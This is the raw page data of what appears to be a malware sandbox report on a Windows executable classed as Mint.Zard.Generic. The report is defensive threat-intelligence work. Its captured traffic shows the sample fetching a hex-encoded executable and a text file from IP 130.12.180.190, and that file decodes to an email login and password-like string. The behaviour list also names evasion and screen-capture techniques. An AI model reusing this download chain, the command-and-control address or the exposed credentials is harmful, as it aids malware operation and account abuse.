26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 3f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T48c,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Mint.Zard.Generic Sample b22113958712… — Score 90/100 — Hybrid Analysis","description":"Malicious verdict for sample b22113958712…. Malware family: Mint.Zard.Generic. Threat score 90/100. 11/28 AV engines flagged this file. 4 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/b22113958712c8f1fecce2048cefde54c1b2dd3630cfef878b009af4b3c6842f","keywords":["Malicious","Mint.Zard.Generic","malware analysis","sandbox report","threat intelligence","b22113958712c8f1fecce2048cefde54c1b2dd3630cfef878b009af4b3c6842f"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","executable"],"identifier":"b22113958712c8f1fecce2048cefde54c1b2dd3630cfef878b009af4b3c6842f","additionalType":"Malicious sample"},"threatScore":90,"malwareFamily":"Mint.Zard.Generic","antivirusDetections":{"malicious":11,"total":28},"behavioralIndicators":{"malicious":4,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T8c9," HTTP/1.1 200 OK Date: Fri 01 May 2026 08:57:38 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=rFKEFtPgm4rVCJXFt8Tx4GKRs7izuAP9TzJb00_VVg0-1777625858.3907158-1.0.1.1-9vrP78dOg3WaMzcRfwP9LbDc0Eb54.UXt4KLv62sxZJfQHzxudAz.ygOwFicmE9qCsXbr5M85mnFRM9htAiX_a85k0EooelT7g2kgr259ElQ3dUjMzJdsYiYL3a2fPd.; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Fri 01 May 2026 09:27:38 GMT Server: cloudflare CF-RAY: 9f4d946ef9a61d41-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /ok/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 01 May 2026 08:57:41 GMT Content-Type: text/plain Content-Length: 2 Last-Modified: Fri 01 May 2026 08:49:07 GMT Connection: keep-alive ETag: "69f46903-2" Accept-Ranges: bytes with response body ==>310A....... "GET /ok/a HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 01 May 2026 08:57:41 GMT Content-Type: application/octet-stream Content-Length: 41472 Last-Modified: Fri 01 May 2026 08:48:46 GMT Connection: keep-alive ETag: "69f468ee-a200" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /ok/1.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 01 May 2026 08:57:42 GMT Content-Type: text/plain Content-Length: 2368 Last-Modified: Fri 01 May 2026 08:48:14 GMT Connection: keep-alive ETag: "69f468ce-940" Accept-Ranges: bytes with response body ==>77696C6464616973794064656C74616A6F686E736F6E732E636F6D3A38366666663838660A77696C6464616973794064656C74616A6F686E736F6E732E636F6D.......2f:T725,"" (Indicator: "GetDC"; Source: "00000000-00002292.00000000.208077.03290000.00000004.mdmp, 00000000-00002292.00000001.209997.03290000.00000004.mdmp, 00000000-00002292.00000002.211919.03290000.00000004.mdmp, 00000000-00002292.00000003.217430.03290000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00002292.00000000.208077.03290000.00000004.mdmp, 00000000-00002292.00000001.209997.03290000.00000004.mdmp, 00000000-00002292.00000002.211919.03290000.00000004.mdmp, 00000000-00002292.00000003.217430.03290000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00002292.00000000.208077.03290000.00000004.mdmp, 00000000-00002292.00000001.209997.03290000.00000004.mdmp, 00000000-00002292.00000002.211919.03290000.00000004.mdmp, 00000000-00002292.00000003.217430.03290000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00002292.00000000.208077.03290000.00000004.mdmp, 00000000-00002292.00000001.209997.03290000.00000004.mdmp, 00000000-00002292.00000002.211919.03290000.00000004.mdmp, 00000000-00002292.00000003.217430.03290000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00002292.00000000.208077.03290000.00000004.mdmp, 00000000-00002292.00000001.209997.03290000.00000004.mdmp, 00000000-00002292.00000002.211919.03290000.00000004.mdmp, 00000000-00002292.00000003.217430.03290000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00002292.00000000.208077.03290000.00000004.mdmp, 00000000-00002292.00000001.209997.03290000.00000004.mdmp, 00000000-00002292.00000002.211919.03290000.00000004.mdmp, 00000000-00002292.00000003.217430.03290000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00002292.00000000.208077.03290000.00000004.mdmp, 00000000-00002292.00000001.209997.03290000.00000004.mdmp, 00000000-00002292.00000002.211919.03290000.00000004.mdmp, 00000000-00002292.00000003.217430.03290000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00002292.00000000.208077.03290000.00000004.mdmp, 00000000-00002292.00000001.209997.03290000.00000004.mdmp, 00000000-00002292.00000002.211919.03290000.00000004.mdmp, 00000000-00002292.00000003.217430.03290000.00000004.mdmp")3a:T439,Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "b22113958712c8f1fecce2048cefde54c1b2dd3630cfef878b009af4b3c6842f.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "b22113958712c8f1fecce2048cefde54c1b2dd3630cfef878b009af4b3c6842f.bin") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "b22113958712c8f1fecce2048cefde54c1b2dd3630cfef878b009af4b3c6842f.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "b22113958712c8f1fecce2048cefde54c1b2dd3630cfef878b009af4b3c6842f.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "b22113958712c8f1fecce2048cefde54c1b2dd3630cfef878b009af4b3c6842f.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002292.00000001.209997.00CA5000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002292.00000001.209997.00CA5000.00000002.mdmp")3b:T9e1,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00002292.00000000.208077.03290000.00000004.mdmp, 00000000-00002292.00000001.209997.03290000.00000004.mdmp, 00000000-00002292.00000002.211919.03290000.00000004.mdmp, 00000000-00002292.00000003.217430.03290000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \"AmsiScanBuffer\" (Indicator: \"amsiscanbuffer\") in Source: 00000000-00002292.00000001.209997.054F9000.00000004.mdmp\n 00000000-00002292.00000002.211919.054F9000.00000004.mdmp\n 00000000-00002292.00000003.217430.054F9000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$27","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00002292.00000000.208077.03290000.00000004.mdmp, 00000000-00002292.00000001.209997.03290000.00000004.mdmp, 00000000-00002292.00000002.211919.03290000.00000004.mdmp, 00000000-00002292.00000003.217430.03290000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"\" (Indicator: \"@gmail.\"; File: \"b22113958712c8f1fecce2048cefde54c1b2dd3630cfef878b009af4b3c6842f.bin\")","origin":"File/Memory","mitre_attack_id":"T1585.002","relevance":1,"id":"string-235","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"in.mail.tm\" [Source: PCAP]\n Observed email domain:\"n.mail.tm\" [Source: 00000000-00002292.00000001.209997.03290000.00000004.mdmp\n 00000000-00002292.00000002.211919.03290000.00000004.mdmp\n 00000000-00002292.00000003.217430.03290000.00000004.mdmp]\n Observed email domain:\"in.mail.tm\" [Source: 00000000-00002292.00000001.209997.03290000.00000004.mdmp\n 00000000-00002292.00000002.211919.03290000.00000004.mdmp\n 00000000-00002292.00000003.217430.03290000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$36","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$37","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$38","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"GET / HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002292.00000000.208077.03290000.00000004.mdmp\")\n Found string \"HTTP/1.1 200 OKW\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002292.00000000.208077.03290000.00000004.mdmp\")\n Found string \"GET /ok/n.txt HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002292.00000000.208077.03290000.00000004.mdmp\")\n Found string \"Host130.12.180.190GET /ok/n.txt HTTP/1.1/ok/n.txt\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002292.00000000.208077.03290000.00000004.mdmp\")\n Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002292.00000001.209997.03290000.00000004.mdmp, 00000000-00002292.00000002.211919.03290000.00000004.mdmp, 00000000-00002292.00000003.217430.03290000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET / HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36\nHost: icanhazip.com\n\n GET /ok/n.txt HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36\nHost: 130.12.180.190\n\n GET /ok/a HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36\nHost: 130.12.180.190\n\n GET /ok/1.txt HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36\nHost: 130.12.180.190\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"deltajohnsons.com\" has high entropy\n Contacted domain: \"mta5.am0.yahoodns.net\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: 237803335931420.jpg]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\" Microsoft\"\n \"237803335931420.jpg\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69f46ae20b8a459840081699"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"